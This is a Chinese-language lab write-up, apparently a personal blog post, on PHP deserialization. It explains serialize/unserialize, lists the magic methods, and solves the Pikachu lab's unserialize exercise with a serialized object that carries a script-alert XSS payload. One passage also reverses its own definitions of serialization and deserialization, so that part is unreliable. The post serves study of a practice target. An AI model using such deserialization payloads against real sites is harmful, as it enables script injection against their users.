unserialize-基於Pikachu的學習

Muneyoshi發表於2024-05-06

php反序列化

PHP反序列化漏洞詳解(萬字分析、由淺入深)_php反序列化漏洞原理-CSDN部落格

PHP反序列化基礎 - Hello CTF (hello-ctf.com)

PHP反序列化漏洞的原理及復現 - FreeBuf網路安全行業門戶

原理:

php程式為了儲存和轉儲物件,提供了序列化的方法。php序列化是為了在程式執行的過程中對物件進行轉儲而產生的。序列化可以將物件轉換成字串,但僅保留物件裡的成員變數,不保留函式方法。

php序列化的函式為serialize,可以將物件中的成員變數轉換成字串。

反序列化的函式為unserilize,可以將serialize生成的字串重新還原為物件中的成員變數。

將使用者可控的資料進行了反序列化,就是PHP反序列化漏洞。

咱們先了解一下序列化和反序列化都是什麼含義

image-20240506201901334

image-20240506201910431

通俗來講

序列化就是把字串去轉換成PHP物件

反序列化就是把php物件轉換成字串

常見的魔術方法

__construct()            //類的建構函式,建立物件時觸發

__destruct()             //類的解構函式,物件被銷燬時觸發

__call()                 //在物件上下文中呼叫不可訪問的方法時觸發

__callStatic()           //在靜態上下文中呼叫不可訪問的方法時觸發

__get()                  //讀取不可訪問屬性的值時,這裡的不可訪問包含私有屬性或未定義

__set()                  //在給不可訪問屬性賦值時觸發

__isset()                //當對不可訪問屬性呼叫 isset() 或 empty() 時觸發

__unset()                //在不可訪問的屬性上使用unset()時觸發

__invoke()               //當嘗試以呼叫函式的方式呼叫一個物件時觸發

__sleep()                //執行serialize()時,先會呼叫這個方法

__wakeup()               //執行unserialize()時,先會呼叫這個方法

__toString()             //當反序列化後的物件被輸出在模板中的時候(轉換成字串的時候)自動呼叫

Pikachu

開啟題目就讓我輸入一個序列化的東西,但是沒有啥原始碼,估計就是概述裡面的那個示例

image-20240506202604722

那我們就分析一下

我們去創造一個S的物件,然後會觸發destruct這個魔術方法,然後列印出test的值,那我們就可以在test的這裡去動手腳了

new S() -> __destruct() -> $this->test

我們開啟php線上這個網站,去序列化一下PHP 線上工具 | 菜鳥工具 (jyshare.com)

我們構造一下payload:

<?php
class S{
	function __destruct(){
                echo $this->test;
            }
}
$a=new S();
$a->test="<script>alert('hack')</script>";
echo serialize($a);
O:1:"S":1:{s:4:"test";s:30:"<script>alert('hack')</script>";}<script>alert('hack')</script>

然後弄到輸入框試試:

image-20240506202950380

成功了。

相關文章